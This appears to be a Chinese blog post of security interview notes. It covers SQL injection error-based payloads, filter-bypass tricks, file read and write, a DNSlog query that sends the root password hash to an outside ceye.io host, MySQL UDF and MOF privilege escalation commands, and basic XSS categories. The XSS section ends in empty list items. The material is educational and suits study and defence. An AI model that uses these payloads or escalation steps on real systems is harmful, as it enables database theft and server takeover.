安全面试总结1

这是我在面试中被问到一些问题,主要偏向基础知识,如有错误,还望指正。

1. sql注入

1. 原理

攻击者通过构造一些恶意的SQL语句,让后台的数据库去解析,从而达到入侵目标网络,获取敏感信息

2. sql注入分类

  1. 主要分为以下两类:
  • 数字型
  • 字符型
  1. 细分的话可以分为:
  • 联合查询注入
  • 多语句查询注入
  • 报错注入
  • 布尔型注入
  • 基于时间延迟注入
  • 宽字节注入
  • 等等

3. 利用方式

  1. 主要分为以下三类:
  • 查询数据
  • 读写文件
  • 执行命令

4. 报错注入可以利用的函数

  1. 利用floor()函数
mysql> select * from users where id = 1 and (select 1 from (select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)b);
  1. 利用updatexml()函数
mysql> select * from users where id = 1 and updatexml(1,concat(0x7e,database(),0x7e),1);
  1. 利用extractvalue()函数
mysql> select * from users where id = 1 and extractvalue(1,concat(0x7e,database(),0x7e));

ps:如果concat被过滤,则可能使用make_set函数来实现

mysql> select * from users where id = 1 and updatexml(1,make_set(3,0x7e,database()),1);
mysql> select * from users where id = 1 and extractvalue(1,make_set(3,0x7e,database()));
  1. 利用join()函数
mysql> select * from(select * from users a join users b)c;
  1. 利用几何函数
    例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
and geometrycollection((select * from(select * from(select user())a)b));
  1. 利用exp()函数
select exp(~(select*from(select database())x));

5. 报错注入函数有哪些限制要求

  1. floor函数()
    需要同时满足floor(rand(0)*2),count(*),group by这三个函数
    • updatexml()和extractvalue()函数
      mysql5.1.5,最多爆出32位的
    • exp()函数
      在MySQL版本大于等于5.5.5的的时候才能用户

6. sql注入读写文件

  1. load_file()
  • 必须有权限读取并且文件必须完全可读。
    and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/
    and (select count(*) from mysql.user)>0 /*返回错误,应该是管理员给数据库账户降权了*/
    高版本的MYSQL添加了一个新的特性secure_file_priv
    
    • 欲读取文件必须在服务器上
    • 必须指定文件完整的路径
    • 欲读取文件必须小于max_allowed_packet
  • into outfile()和into dumpfile()
    into outfile导出每行记录,会在每行末尾加新行,会转义换行符,二进制文件会被破坏;而dumpfile()导出一个完整能执行的二进制文件

7. sql防御

  1. 参数过滤
  2. 预编译处理
  3. ODBC
  4. PDO

8. 解释下sql预编译处理

  1. 执行预编译语句
  2. 设置变量
  3. 执行语句

先执行了sql语句,再把参数传入,即使参数有sql命令也不会被执行

9. sql过滤绕过

  1. 过滤空格
  • 用双空格代替
  • 用注释符号/**/代替
  • 用Tab代替
  • 用%a0代替
  • 用括号代替
  1. 过滤等号
  • 用like代替
  • 用in代替
  • 用<或者>代替
  1. 过滤引号
  • 引号内容加上引号使用十六进制
  1. 过滤尖括号
  • 用between函数
  • 用greatest函数
  • 用leatest函数
  1. 过滤逗号
  • 用from for代替
  • limit中用offset代替
  • 用join代替
  • 用like代替
  1. 过滤or,and
  • and=&&
  • or=||
  1. 过滤注释符号
  • id=1'union select 1,2,3||'1
  • id=1'union select 1,2,'3
  • ;%00截断
  1. 过滤符号
  • 采取编码

10. DNSlog注入限制

必须是Windows系统,使用的load_file函数

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 0,1),'.b182oj.ceye.io\\abc’));

11. MySQL提权

  1. udf提权

    • udf概念
      UDF(用户定义函数)是一类对MYSQL服务器功能进行扩充的代码。
    • 适用场合
      • 目标主机系统是Windows。
      • 拥有该主机mysql中的某个用户账号,该账号需要有对mysql的insert和delete权限。
    • 注意事项
      • mysql版本大于等于5.1 udf.dll需要导入到plugin_dir目录
      • mysql版本小与5.1 udf.dll需要导入到C:\windows\目录
    • 使用sql语句创建功能函数
    create function shell returns string soname 'udf.dll' 
    
  2. mof提权

    • mof概念
      mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)
    • 步骤
      • 将mof上传至任意可读可写目录下,假如传到D:\wamp\下命名为:test.mof。也就是:D:\wamp\test.mof
      • 然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
      • 替换的sql语句:select load_file('D:\wamp\test.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

2. XSS攻击

1. XSS分类

  1. 反射型XSS
  2. 存储型XSS
  3. DOM型XSS

2. 它们的差别

  1. 反射型XSS和存储型XSS都是服务端代码漏洞
  2. 存储型XSS会在服务端存储输入的内容
  3. DOM型XSS是前端代码漏洞

3. XSS危害

  1. 偷取用户Cookie
  2. 弹出广告
  3. 网络钓鱼

4. XSS过滤

  1. 大小写混写
  2. 多重嵌套
  3. 宽字节绕过

5. XSS一般会用到哪些标签

1. 
2.